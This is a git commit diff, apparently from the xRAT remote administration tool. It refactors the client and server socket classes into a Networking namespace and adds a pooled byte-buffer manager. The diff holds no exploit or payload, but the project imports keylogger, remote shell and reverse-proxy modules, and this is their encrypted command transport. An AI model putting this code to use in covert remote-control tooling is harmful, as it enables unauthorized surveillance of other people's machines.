Implemented pooled buffer manager to socket

This commit is contained in:
MaxXor 2015-06-05 23:07:37 +02:00
parent fcf25b76a0
commit 3bdd5aa294
131 changed files with 558 additions and 129 deletions

View File

@ -46,7 +46,7 @@
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Core\Client.cs" />
<Compile Include="Core\Networking\Client.cs" />
<Compile Include="Core\Commands\CommandHandler.cs" />
<Compile Include="Core\Commands\ConnectionHandler.cs" />
<Compile Include="Core\Commands\FileHandler.cs" />

View File

@ -5,6 +5,7 @@
using System.Threading;
using xClient.Config;
using xClient.Core.Helper;
using xClient.Core.Networking;
namespace xClient.Core.Commands
{

View File

@ -2,6 +2,7 @@
using System.IO;
using System.Threading;
using xClient.Core.Helper;
using xClient.Core.Networking;
namespace xClient.Core.Commands
{

View File

@ -5,6 +5,7 @@
using System.Threading;
using System.Windows.Forms;
using xClient.Core.Helper;
using xClient.Core.Networking;
namespace xClient.Core.Commands
{

View File

@ -5,6 +5,7 @@
using xClient.Core.Helper;
using System.Drawing.Imaging;
using System.Threading;
using xClient.Core.Networking;
namespace xClient.Core.Commands
{

View File

@ -8,6 +8,7 @@
using xClient.Core.Information;
using xClient.Core.RemoteShell;
using xClient.Core.Extensions;
using xClient.Core.Networking;
namespace xClient.Core.Commands
{

View File

@ -6,8 +6,7 @@ namespace xClient.Core.Helper
public class FileSplit
{
private int _maxBlocks;
private const int MAX_PACKET_SIZE = Client.MAX_PACKET_SIZE - Client.HEADER_SIZE - (1024 * 2);
private const int MAX_BLOCK_SIZE = (1024 * 1024) * 2 - (1024 * 2);
public string Path { get; private set; }
public string LastError { get; private set; }
@ -24,7 +23,7 @@ public int MaxBlocks
if (!fInfo.Exists)
throw new FileNotFoundException();
this._maxBlocks = (int)Math.Ceiling(fInfo.Length / (double)MAX_PACKET_SIZE);
this._maxBlocks = (int)Math.Ceiling(fInfo.Length / (double)MAX_BLOCK_SIZE);
}
catch (UnauthorizedAccessException)
{
@ -52,7 +51,7 @@ public FileSplit(string path)
private int GetSize(long length)
{
return (length < MAX_PACKET_SIZE) ? (int) length : MAX_PACKET_SIZE;
return (length < MAX_BLOCK_SIZE) ? (int)length : MAX_BLOCK_SIZE;
}
public bool ReadBlock(int blockNumber, out byte[] readBytes)
@ -72,7 +71,7 @@ public bool ReadBlock(int blockNumber, out byte[] readBytes)
}
else
{
fStream.Seek(blockNumber * MAX_PACKET_SIZE, SeekOrigin.Begin);
fStream.Seek(blockNumber * MAX_BLOCK_SIZE, SeekOrigin.Begin);
readBytes = new byte[this.GetSize(fStream.Length - fStream.Position)];
fStream.Read(readBytes, 0, readBytes.Length);
}
@ -127,7 +126,7 @@ public bool AppendBlock(byte[] block, int blockNumber)
using (FileStream fStream = File.Open(this.Path, FileMode.Append, FileAccess.Write))
{
fStream.Seek(blockNumber*MAX_PACKET_SIZE, SeekOrigin.Begin);
fStream.Seek(blockNumber*MAX_BLOCK_SIZE, SeekOrigin.Begin);
fStream.Write(block, 0, block.Length);
}

View File

@ -1,5 +1,7 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using ProtoBuf;
@ -9,12 +11,10 @@
using xClient.Core.Encryption;
using xClient.Core.Extensions;
using xClient.Core.Packets;
using xClient.Core.ReverseProxy.Packets;
using System.Collections.Generic;
using System.Linq;
using xClient.Core.ReverseProxy;
using xClient.Core.ReverseProxy.Packets;
namespace xClient.Core
namespace xClient.Core.Networking
{
public class Client
{
@ -131,14 +131,24 @@ public enum ReceiveType
}
/// <summary>
/// A list of all the connected proxy clients that this client holds.
/// The maximum size of one package (also the buffer size for receiving data).
/// </summary>
private List<ReverseProxyClient> _proxyClients;
public int MAX_PACKET_SIZE { get { return (1024 * 1024) * 2; } } // 2MB
/// <summary>
/// Lock object for the list of proxy clients.
/// The keep-alive time in ms.
/// </summary>
private readonly object _proxyClientsLock = new object();
public uint KEEP_ALIVE_TIME { get { return 25000; } } // 25s
/// <summary>
/// The keep-alive interval in ms.
/// </summary>
public uint KEEP_ALIVE_INTERVAL { get { return 25000; } } // 25s
/// <summary>
/// The header size in
/// </summary>
public int HEADER_SIZE { get { return 4; } } // 4 Byte
/// <summary>
/// Returns an array containing all of the proxy clients of this client.
@ -154,18 +164,27 @@ public ReverseProxyClient[] ProxyClients
}
}
public const uint KEEP_ALIVE_TIME = 25000;
public const uint KEEP_ALIVE_INTERVAL = 25000;
public const int HEADER_SIZE = 4;
public const int MAX_PACKET_SIZE = (1024*1024)*2; //2MB
/// <summary>
/// Handle of the Client Socket.
/// </summary>
private Socket _handle;
/// <summary>
/// A list of all the connected proxy clients that this client holds.
/// </summary>
private List<ReverseProxyClient> _proxyClients;
/// <summary>
/// Lock object for the list of proxy clients.
/// </summary>
private readonly object _proxyClientsLock = new object();
private int _typeIndex;
/// <summary>
/// The buffer for the client's incoming and outgoing packets.
/// </summary>
private byte[] _buffer = new byte[MAX_PACKET_SIZE];
private byte[] _buffer;
//receive info
private int _readOffset;
@ -203,11 +222,12 @@ public void Connect(string host, ushort port)
_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.NoDelay, true);
_handle.NoDelay = true;
_buffer = new byte[MAX_PACKET_SIZE];
_handle.Connect(host, port);
if (_handle.Connected)
{
_handle.BeginReceive(this._buffer, 0, this._buffer.Length, SocketFlags.None, AsyncReceive, null);
_handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null);
OnClientState(true);
}
}
@ -273,7 +293,7 @@ private void AsyncReceive(IAsyncResult result)
byte[] payload = new byte[_payloadLen];
try
{
Array.Copy(this._buffer, _readOffset, payload, 0, payload.Length);
Array.Copy(_buffer, _readOffset, payload, 0, payload.Length);
}
catch
{
@ -306,10 +326,10 @@ private void AsyncReceive(IAsyncResult result)
}
int len = _receiveState == ReceiveType.Header ? HEADER_SIZE : _payloadLen;
if (_readOffset + len >= this._buffer.Length)
if (_readOffset + len >= _buffer.Length)
{
//copy the buffer to the beginning
Array.Copy(this._buffer, _readOffset, this._buffer, 0, _readableDataLen);
Array.Copy(_buffer, _readOffset, _buffer, 0, _readableDataLen);
_writeOffset = _readableDataLen;
_readOffset = 0;
}
@ -325,7 +345,7 @@ private void AsyncReceive(IAsyncResult result)
{
if (_buffer.Length - _writeOffset > 0)
{
_handle.BeginReceive(this._buffer, _writeOffset, _buffer.Length - _writeOffset, SocketFlags.None,
_handle.BeginReceive(_buffer, _writeOffset, _buffer.Length - _writeOffset, SocketFlags.None,
AsyncReceive, null);
}
else

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ClientPackets
{

View File

@ -1,5 +1,6 @@
using System.Collections.Generic;
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,6 @@
namespace xClient.Core.Packets
using xClient.Core.Networking;
namespace xClient.Core.Packets
{
public interface IPacket
{

View File

@ -1,4 +1,5 @@
using xClient.Core.Commands;
using xClient.Core.Networking;
using xClient.Core.ReverseProxy;
namespace xClient.Core.Packets

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
namespace xClient.Core.Packets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
using xClient.Core.Packets;
namespace xClient.Core.ReverseProxy.Packets

View File

@ -1,5 +1,6 @@
using ProtoBuf;
using System;
using xClient.Core.Networking;
using xClient.Core.Packets;
namespace xClient.Core.ReverseProxy.Packets

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
using xClient.Core.Packets;
namespace xClient.Core.ReverseProxy.Packets

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xClient.Core.Networking;
using xClient.Core.Packets;
namespace xClient.Core.ReverseProxy.Packets

View File

@ -1,6 +1,7 @@
using System;
using System.Net;
using System.Net.Sockets;
using xClient.Core.Networking;
using xClient.Core.ReverseProxy.Packets;
namespace xClient.Core.ReverseProxy

View File

@ -1,4 +1,5 @@
using xClient.Core.Packets;
using xClient.Core.Networking;
using xClient.Core.Packets;
using xClient.Core.ReverseProxy.Packets;
namespace xClient.Core.ReverseProxy

View File

@ -13,6 +13,7 @@
using xClient.Core.Information;
using xClient.Core.Encryption;
using xClient.Core.Extensions;
using xClient.Core.Networking;
namespace xClient.Core
{

View File

@ -7,6 +7,7 @@
using xClient.Core;
using xClient.Core.Commands;
using xClient.Core.Keylogger;
using xClient.Core.Networking;
using xClient.Core.Packets;
namespace xClient

View File

@ -1,7 +1,7 @@
using System;
using System.IO;
using System.Linq;
using System.Windows.Forms;
using xServer.Core.Networking;
using xServer.Core.Packets.ClientPackets;
using xServer.Forms;
using xServer.Settings;

View File

@ -2,6 +2,7 @@
using System.IO;
using System.Windows.Forms;
using xServer.Core.Helper;
using xServer.Core.Networking;
using xServer.Core.Packets.ClientPackets;
namespace xServer.Core.Commands

View File

@ -3,6 +3,7 @@
using System.Threading;
using System.Windows.Forms;
using xServer.Core.Helper;
using xServer.Core.Networking;
using xServer.Core.Packets.ClientPackets;
namespace xServer.Core.Commands

View File

@ -3,6 +3,7 @@
using System.Text;
using System.Threading;
using System.Windows.Forms;
using xServer.Core.Networking;
using xServer.Core.Packets.ClientPackets;
using xServer.Forms;
using xServer.Settings;

View File

@ -7,7 +7,7 @@ public class FileSplit
{
private int _maxBlocks;
private const int MAX_PACKET_SIZE = Client.MAX_PACKET_SIZE - Client.HEADER_SIZE - (1024 * 2);
private const int MAX_BLOCK_SIZE = (1024 * 1024) * 2 - (1024 * 2);
public string Path { get; private set; }
public string LastError { get; private set; }
@ -24,7 +24,7 @@ public int MaxBlocks
if (!fInfo.Exists)
throw new FileNotFoundException();
this._maxBlocks = (int)Math.Ceiling(fInfo.Length / (double)MAX_PACKET_SIZE);
this._maxBlocks = (int)Math.Ceiling(fInfo.Length / (double)MAX_BLOCK_SIZE);
}
catch (UnauthorizedAccessException)
{
@ -52,7 +52,7 @@ public FileSplit(string path)
private int GetSize(long length)
{
return (length < MAX_PACKET_SIZE) ? (int) length : MAX_PACKET_SIZE;
return (length < MAX_BLOCK_SIZE) ? (int) length : MAX_BLOCK_SIZE;
}
public bool ReadBlock(int blockNumber, out byte[] readBytes)
@ -72,7 +72,7 @@ public bool ReadBlock(int blockNumber, out byte[] readBytes)
}
else
{
fStream.Seek(blockNumber*MAX_PACKET_SIZE, SeekOrigin.Begin);
fStream.Seek(blockNumber*MAX_BLOCK_SIZE, SeekOrigin.Begin);
readBytes = new byte[this.GetSize(fStream.Length - fStream.Position)];
fStream.Read(readBytes, 0, readBytes.Length);
}
@ -127,7 +127,7 @@ public bool AppendBlock(byte[] block, int blockNumber)
using (FileStream fStream = File.Open(this.Path, FileMode.Append, FileAccess.Write))
{
fStream.Seek(blockNumber*MAX_PACKET_SIZE, SeekOrigin.Begin);
fStream.Seek(blockNumber*MAX_BLOCK_SIZE, SeekOrigin.Begin);
fStream.Write(block, 0, block.Length);
}

View File

@ -12,7 +12,7 @@
using xServer.Core.Packets;
using xServer.Settings;
namespace xServer.Core
namespace xServer.Core.Networking
{
public class Client
{
@ -42,6 +42,8 @@ private void OnClientState(bool connected)
ClientState(this, connected);
}
_parentServer.BufferManager.IncreaseBufferCount(1);
if (!connected && !_parentServer.Processing)
_parentServer.RemoveClient(this);
}
@ -118,19 +120,10 @@ public enum ReceiveType
Payload
}
public const uint KEEP_ALIVE_TIME = 25000;
public const uint KEEP_ALIVE_INTERVAL = 25000;
public const int HEADER_SIZE = 4;
public const int MAX_PACKET_SIZE = (1024*1024)*2; //2MB
private Socket _handle;
private int _typeIndex;
/// <summary>
/// The buffer for the client's incoming and outgoing packets.
/// </summary>
private byte[] _buffer = new byte[MAX_PACKET_SIZE];
//receive info
private int _readOffset;
private int _writeOffset;
@ -144,6 +137,11 @@ public enum ReceiveType
public IPEndPoint EndPoint { get; private set; }
private Server _parentServer;
/// <summary>
/// The buffer for the client's incoming and outgoing packets.
/// </summary>
private byte[] _buffer;
private const bool encryptionEnabled = true;
private const bool compressionEnabled = true;
@ -160,11 +158,13 @@ internal Client(Server server, Socket sock, Type[] packets)
Initialize();
_handle = sock;
_handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);
_handle.SetKeepAliveEx(_parentServer.KEEP_ALIVE_INTERVAL, _parentServer.KEEP_ALIVE_TIME);
_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.NoDelay, true);
_handle.NoDelay = true;
_handle.BeginReceive(this._buffer, 0, this._buffer.Length, SocketFlags.None, AsyncReceive, null);
_buffer = _parentServer.BufferManager.GetBuffer();
_handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null);
EndPoint = (IPEndPoint) _handle.RemoteEndPoint;
OnClientState(true);
}
@ -208,64 +208,64 @@ private void AsyncReceive(IAsyncResult result)
switch (_receiveState)
{
case ReceiveType.Header:
{
process = _readableDataLen >= HEADER_SIZE;
if (process)
{
_payloadLen = BitConverter.ToInt32(_buffer, _readOffset);
process = _readableDataLen >= _parentServer.HEADER_SIZE;
if (process)
{
_payloadLen = BitConverter.ToInt32(_buffer, _readOffset);
_readableDataLen -= HEADER_SIZE;
_readOffset += HEADER_SIZE;
_receiveState = ReceiveType.Payload;
_readableDataLen -= _parentServer.HEADER_SIZE;
_readOffset += _parentServer.HEADER_SIZE;
_receiveState = ReceiveType.Payload;
}
break;
}
break;
}
case ReceiveType.Payload:
{
process = _readableDataLen >= _payloadLen;
if (process)
{
byte[] payload = new byte[_payloadLen];
try
process = _readableDataLen >= _payloadLen;
if (process)
{
Array.Copy(this._buffer, _readOffset, payload, 0, payload.Length);
}
catch
{
Disconnect();
}
if (encryptionEnabled)
payload = AES.Decrypt(payload, Encoding.UTF8.GetBytes(XMLSettings.Password));
if (payload.Length > 0)
{
if (compressionEnabled)
payload = new SafeQuickLZ().Decompress(payload, 0, payload.Length);
using (MemoryStream deserialized = new MemoryStream(payload))
byte[] payload = new byte[_payloadLen];
try
{
IPacket packet = Serializer.DeserializeWithLengthPrefix<IPacket>(deserialized,
PrefixStyle.Fixed32);
OnClientRead(packet);
Array.Copy(_buffer, _readOffset, payload, 0, payload.Length);
}
catch
{
Disconnect();
}
}
_readOffset += _payloadLen;
_readableDataLen -= _payloadLen;
_receiveState = ReceiveType.Header;
if (encryptionEnabled)
payload = AES.Decrypt(payload, Encoding.UTF8.GetBytes(XMLSettings.Password));
if (payload.Length > 0)
{
if (compressionEnabled)
payload = new SafeQuickLZ().Decompress(payload, 0, payload.Length);
using (MemoryStream deserialized = new MemoryStream(payload))
{
IPacket packet = Serializer.DeserializeWithLengthPrefix<IPacket>(deserialized,
PrefixStyle.Fixed32);
OnClientRead(packet);
}
}
_readOffset += _payloadLen;
_readableDataLen -= _payloadLen;
_receiveState = ReceiveType.Header;
}
break;
}
break;
}
}
}
int len = _receiveState == ReceiveType.Header ? HEADER_SIZE : _payloadLen;
if (_readOffset + len >= this._buffer.Length)
int len = _receiveState == ReceiveType.Header ? _parentServer.HEADER_SIZE : _payloadLen;
if (_readOffset + len >= _buffer.Length)
{
//copy the buffer to the beginning
Array.Copy(this._buffer, _readOffset, this._buffer, 0, _readableDataLen);
Array.Copy(_buffer, _readOffset, _buffer, 0, _readableDataLen);
_writeOffset = _readableDataLen;
_readOffset = 0;
}
@ -281,7 +281,7 @@ private void AsyncReceive(IAsyncResult result)
{
if (_buffer.Length - _writeOffset > 0)
{
_handle.BeginReceive(this._buffer, _writeOffset, _buffer.Length - _writeOffset, SocketFlags.None,
_handle.BeginReceive(_buffer, _writeOffset, _buffer.Length - _writeOffset, SocketFlags.None,
AsyncReceive, null);
}
else
@ -361,12 +361,12 @@ public void Disconnect()
if (_handle != null)
{
_handle.Close();
_buffer = null;
_readOffset = 0;
_writeOffset = 0;
_readableDataLen = 0;
_payloadLen = 0;
GC.Collect();
if (_parentServer != null && _parentServer.BufferManager != null)
_parentServer.BufferManager.ReturnBuffer(_buffer);
}
}
@ -397,4 +397,4 @@ public void AddTypesToSerializer(Type parent, params Type[] types)
AddTypeToSerializer(parent, type);
}
}
}
}

View File

@ -0,0 +1,258 @@
using System;
using System.Collections.Generic;
namespace xServer.Core.Networking
{
/// <summary>
/// Implements a pool of byte arrays to improve allocation performance when parsing data.
/// </summary>
/// <threadsafety>This type is safe for multithreaded operations.</threadsafety>
public class PooledBufferManager
{
private readonly int _bufferLength;
private int _bufferCount;
private Stack<byte[]> _buffers;
#region events
/// <summary>
/// Informs listeners when a new buffer beyond the initial length has been allocated.
/// </summary>
public event EventHandler NewBufferAllocated;
/// <summary>
/// Fires the <see>NewBufferAllocated</see> event.
/// </summary>
/// <param name="e">The event arguments.</param>
protected virtual void OnNewBufferAllocated(EventArgs e)
{
if (NewBufferAllocated != null)
NewBufferAllocated(this, e);
}
/// <summary>
/// Informs listeners that a buffer has been allocated.
/// </summary>
public event EventHandler BufferRequested;
/// <summary>
/// Raises the <see>BufferRequested</see> event.
/// </summary>
/// <param name="e">The event arguments.</param>
protected virtual void OnBufferRequested(EventArgs e)
{
if (BufferRequested != null)
BufferRequested(this, e);
}
/// <summary>
/// Informs listeners that a buffer has been returned.
/// </summary>
public event EventHandler BufferReturned;
/// <summary>
/// Raises the <see>BufferReturned</see> event.
/// </summary>
/// <param name="e">The event arguments.</param>
protected virtual void OnBufferReturned(EventArgs e)
{
if (BufferReturned != null)
BufferReturned(this, e);
}
#endregion
#region properties
/// <summary>
/// Gets the size of the buffers allocated from this pool.
/// </summary>
public int BufferLength
{
get { return _bufferLength; }
}
/// <summary>
/// Gets the maximum number of buffers available at any given time from this pool.
/// </summary>
public int MaxBufferCount
{
get { return _bufferCount; }
}
/// <summary>
/// Gets the current number of buffers available for use.
/// </summary>
public int BuffersAvailable
{
get { return _buffers.Count; }
}
/// <summary>
/// Gets or sets whether to zero the contents of a buffer when it is returned.
/// </summary>
public bool ClearOnReturn { get; set; }
#endregion
#region constructor
/// <summary>
/// Creates a new buffer pool with the specified name, buffer sizes, and buffer count.
/// </summary>
/// <param name="baseBufferLength">The size of the preallocated buffers.</param>
/// <param name="baseBufferCount">The number of preallocated buffers that should be available.</param>
/// <exception cref="ArgumentOutOfRangeException">Thrown if <paramref name="baseBufferLength"/> or
/// <paramref name="baseBufferCount"/> are zero or negative.</exception>
public PooledBufferManager(int baseBufferLength, int baseBufferCount)
{
if (baseBufferLength <= 0)
throw new ArgumentOutOfRangeException("baseBufferLength", baseBufferLength, "Buffer length must be a positive integer value.");
if (baseBufferCount <= 0)
throw new ArgumentOutOfRangeException("baseBufferCount", baseBufferCount, "Buffer count must be a positive integer value.");
_bufferLength = baseBufferLength;
_bufferCount = baseBufferCount;
_buffers = new Stack<byte[]>(baseBufferCount);
for (int i = 0; i < baseBufferCount; i++)
{
_buffers.Push(new byte[baseBufferLength]);
}
}
#endregion
#region methods
/// <summary>
/// Gets a buffer from the available pool if one is available, or else allocates a new one.
/// </summary>
/// <remarks>
/// <para>Buffers retrieved with this method should be returned to the pool by using the
/// <see>ReturnBuffer</see> method.</para>
/// </remarks>
/// <returns>A <see>byte</see>[] from the pool.</returns>
public byte[] GetBuffer()
{
if (_buffers.Count > 0)
{
lock (_buffers)
{
if (_buffers.Count > 0)
{
byte[] buffer = _buffers.Pop();
return buffer;
}
}
}
return AllocateNewBuffer();
}
private byte[] AllocateNewBuffer()
{
byte[] newBuffer = new byte[_bufferLength];
_bufferCount++;
OnNewBufferAllocated(EventArgs.Empty);
return newBuffer;
}
/// <summary>
/// Returns the specified buffer to the pool.
/// </summary>
/// <returns><see langword="true" /> if the buffer belonged to this pool and was freed; otherwise <see langword="false" />.</returns>
/// <remarks>
/// <para>If the <see>ClearOnFree</see> property is <see langword="true" />, then the buffer will be zeroed before
/// being restored to the pool.</para>
/// </remarks>
/// <param name="buffer">The buffer to return to the pool.</param>
/// <exception cref="ArgumentNullException">Thrown if <paramref name="buffer" /> is <see langword="null" />.</exception>
public bool ReturnBuffer(byte[] buffer)
{
if (buffer == null)
throw new ArgumentNullException("buffer");
if (buffer.Length != _bufferLength)
return false;
if (ClearOnReturn)
{
for (int i = 0; i < _bufferLength; i++)
{
buffer[i] = 0;
}
}
lock (_buffers)
{
if (!_buffers.Contains(buffer))
_buffers.Push(buffer);
}
return true;
}
/// <summary>
/// Frees all buffers.
/// </summary>
public void FreeAllBuffers()
{
while (_buffers.Count != 0)
{
DecreaseBufferCount(1);
}
}
/// <summary>
/// Increases the number of buffers available in the pool by a given size.
/// </summary>
/// <param name="buffersToAdd">The number of buffers to preallocate.</param>
/// <exception cref="OutOfMemoryException">Thrown if the system is unable to preallocate the requested number of buffers.</exception>
/// <exception cref="ArgumentOutOfRangeException">Thrown if <paramref name="buffersToAdd"/> is less than or equal to 0.</exception>
/// <remarks>
/// <para>This method does not cause the <see>NewBufferAllocated</see> event to be raised.</para>
/// </remarks>
public void IncreaseBufferCount(int buffersToAdd)
{
if (buffersToAdd <= 0)
throw new ArgumentOutOfRangeException("buffersToAdd", buffersToAdd, "The number of buffers to add must be a nonnegative, nonzero integer.");
List<byte[]> newBuffers = new List<byte[]>(buffersToAdd);
for (int i = 0; i < buffersToAdd; i++)
{
newBuffers.Add(new byte[_bufferLength]);
}
lock (_buffers)
{
_bufferCount += buffersToAdd;
for (int i = 0; i < buffersToAdd; i++)
{
_buffers.Push(newBuffers[i]);
}
}
}
/// <summary>
/// Removes up to the specified number of buffers from the pool.
/// </summary>
/// <param name="buffersToRemove">The number of buffers to attempt to remove.</param>
/// <returns>The number of buffers actually removed.</returns>
/// <remarks>
/// <para>The number of buffers removed may actually be lower than the number requested if the specified number of buffers are not free.
/// For example, if the number of buffers free is 15, and the callee requests the removal of 20 buffers, only 15 will be freed, and so the
/// returned value will be 15.</para>
/// </remarks>
/// <exception cref="ArgumentOutOfRangeException">Thrown if <paramref name="buffersToRemove"/> is less than or equal to 0.</exception>
public int DecreaseBufferCount(int buffersToRemove)
{
if (buffersToRemove <= 0)
throw new ArgumentOutOfRangeException("buffersToRemove", buffersToRemove, "The number of buffers to remove must be a nonnegative, nonzero integer.");
int numRemoved = 0;
lock (_buffers)
{
for (int i = 0; i < buffersToRemove && _buffers.Count > 0; i++)
{
_buffers.Pop();
numRemoved++;
}
}
return numRemoved;
}
#endregion
}
}

View File

@ -1,29 +1,13 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using xServer.Core.Packets;
namespace xServer.Core
namespace xServer.Core.Networking
{
public class Server
{
/// <summary>
/// The port on which the server is listening.
/// </summary>
public ushort Port { get; private set; }
/// <summary>
/// The total amount of received bytes.
/// </summary>
public long BytesReceived { get; set; }
/// <summary>
/// The total amount of sent bytes.
/// </summary>
public long BytesSent { get; set; }
/// <summary>
/// The amount of currently connected and authenticated clients.
/// </summary>
@ -137,35 +121,55 @@ private void OnClientWrite(Client c, IPacket packet, long length, byte[] rawData
}
/// <summary>
/// Handle of the Server Socket.
/// The port on which the server is listening.
/// </summary>
private Socket _handle;
public ushort Port { get; private set; }
/// <summary>
/// The event to accept new connections asynchronously.
/// The total amount of received bytes.
/// </summary>
private SocketAsyncEventArgs _item;
public long BytesReceived { get; set; }
/// <summary>
/// The total amount of sent bytes.
/// </summary>
public long BytesSent { get; set; }
/// <summary>
/// The maximum size of one package in byte (it is also the buffer size for receiving data).
/// </summary>
public int MAX_PACKET_SIZE { get { return (1024 * 1024) * 2; } } // 2MB
/// <summary>
/// The keep-alive time in ms.
/// </summary>
public uint KEEP_ALIVE_TIME { get { return 25000; } } // 25s
/// <summary>
/// The keep-alive interval in ms.
/// </summary>
public uint KEEP_ALIVE_INTERVAL { get { return 25000; } } // 25s
/// <summary>
/// The header size in byte.
/// </summary>
public int HEADER_SIZE { get { return 4; } } // 4B
/// <summary>
/// Gets or sets if the server is currently processing data that should prevent disconnection.
/// </summary>
public bool Processing { get; private set; }
/// <summary>
/// The buffer manager to handle the receive buffers for the clients.
/// </summary>
public PooledBufferManager BufferManager { get; private set; }
/// <summary>
/// The listening state of the server. True if listening, else False.
/// </summary>
public bool Listening { get; private set; }
/// <summary>
/// List of the clients connected to the server.
/// </summary>
private List<Client> _clients;
/// <summary>
/// Lock object for the list of clients.
/// </summary>
private readonly object _clientsLock = new object();
/// <summary>
/// Gets the clients currently connected to the server, or an empty array of
/// clients if the server is currently not listening.
@ -186,6 +190,26 @@ public Client[] Clients
/// </summary>
public Dictionary<string, DateTime> AllTimeConnectedClients { get; set; }
/// <summary>
/// Handle of the Server Socket.
/// </summary>
private Socket _handle;
/// <summary>
/// The event to accept new connections asynchronously.
/// </summary>
private SocketAsyncEventArgs _item;
